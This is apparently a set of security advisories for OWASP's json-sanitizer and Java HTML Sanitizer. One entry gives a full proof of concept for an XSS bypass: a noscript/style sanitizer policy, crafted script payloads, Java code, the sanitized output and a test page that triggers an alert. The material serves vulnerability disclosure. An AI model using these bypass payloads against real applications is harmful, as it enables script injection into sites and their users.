OWASP json-sanitizer before 1.2.2 may emit closing SCRIPT tags and CDATA section delimiters for crafted input. This allows an attacker to inject arbitrary HTML or XML into embedding documents.

The OWASP Java HTML Sanitizer before 20211018.1 does not properly enforce policies associated with the SELECT, STYLE, and OPTION elements.

Summary It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy.

Details

The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows noscript & style tag with allowTextIn inside style tags.

The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except noscript and allow style tag with allowTextIn inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives noscript tags post sanitization.

PoC

1. Lets create a HtmlPolicyBuilder which allows p, noscript, style html tags and allows .allowTextIn("style"). 2. There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.

HTML 1. <noscript><style></noscript><script>alert(1)</script> 2. <p><style></p><script>alert(1)</script>

3. Run the following piece of code which sanitizes the payload.

java public class main { private static final String ALLOWEDHTMLTAGS = "p, noscript, style";

/ Description of vulnerability : The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags. However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases. /

public static void main(String[] args) { withAllowedTextAndStyleTag(); }

/ Test case : Vulnerable to XSS / public static void withAllowedTextAndStyleTag() { HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder(); PolicyFactory policy = htmlPolicyBuilder .allowElements(ALLOWEDHTMLTAGS.split("\\s,\\s")) .allowTextIn("style") .toFactory(); String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>"; String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne)); System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo)); } }

Use the latest library version

xml <dependency> <groupId>com.googlecode.owasp-java-html-sanitizer</groupId> <artifactId>owasp-java-html-sanitizer</artifactId> <version>20240325.1</version> </dependency>

4. Output of the POC code should look like this

HTML

PAYLOAD: <noscript><style></noscript><script>alert(1)</script> SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>

PAYLOAD: <p><style></p><script>alert(1)</script> SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

5. Lets understand what happened in sanitization process below

txt --------------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS

-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>

-------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS

--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

6. Lets create a sample html page and copy both sanitized output which should be generated in step 5

HTML

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>POC OF SANITIZER OUTPUT</title> </head> <body>

<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>--> <noscript><style></noscript><script>alert(1)</script></style></noscript>

<!-- SAFE OUTPUT --> <p><style></p><script>alert(1)</script></style></p>

</body> </html>

7. Open this HTML page in the browser it should pop an alert.

!Alt text

8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS.

!SAFE from XSS

9. The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped style tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.

!XSS POC

Impact 1. This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/

OWASP json-sanitizer before 1.2.2 can output invalid JSON or throw an undeclared exception for crafted input. This may lead to denial of service if the application is not prepared to handle these situations.

OWASP json-sanitizer before 1.2.1 allows XSS. An attacker who controls a substring of the input JSON, and controls another substring adjacent to a SCRIPT element in which the output is embedded as JavaScript, may be able to confuse the HTML parser as to where the SCRIPT element ends, and cause non-script content to be interpreted as JavaScript.

OWASP HTML Sanitizer (aka owasp-java-html-sanitizer) before 88, when JavaScript is disabled, allows user-assisted remote attackers to obtain potentially sensitive information via a crafted FORM element within a NOSCRIPT element.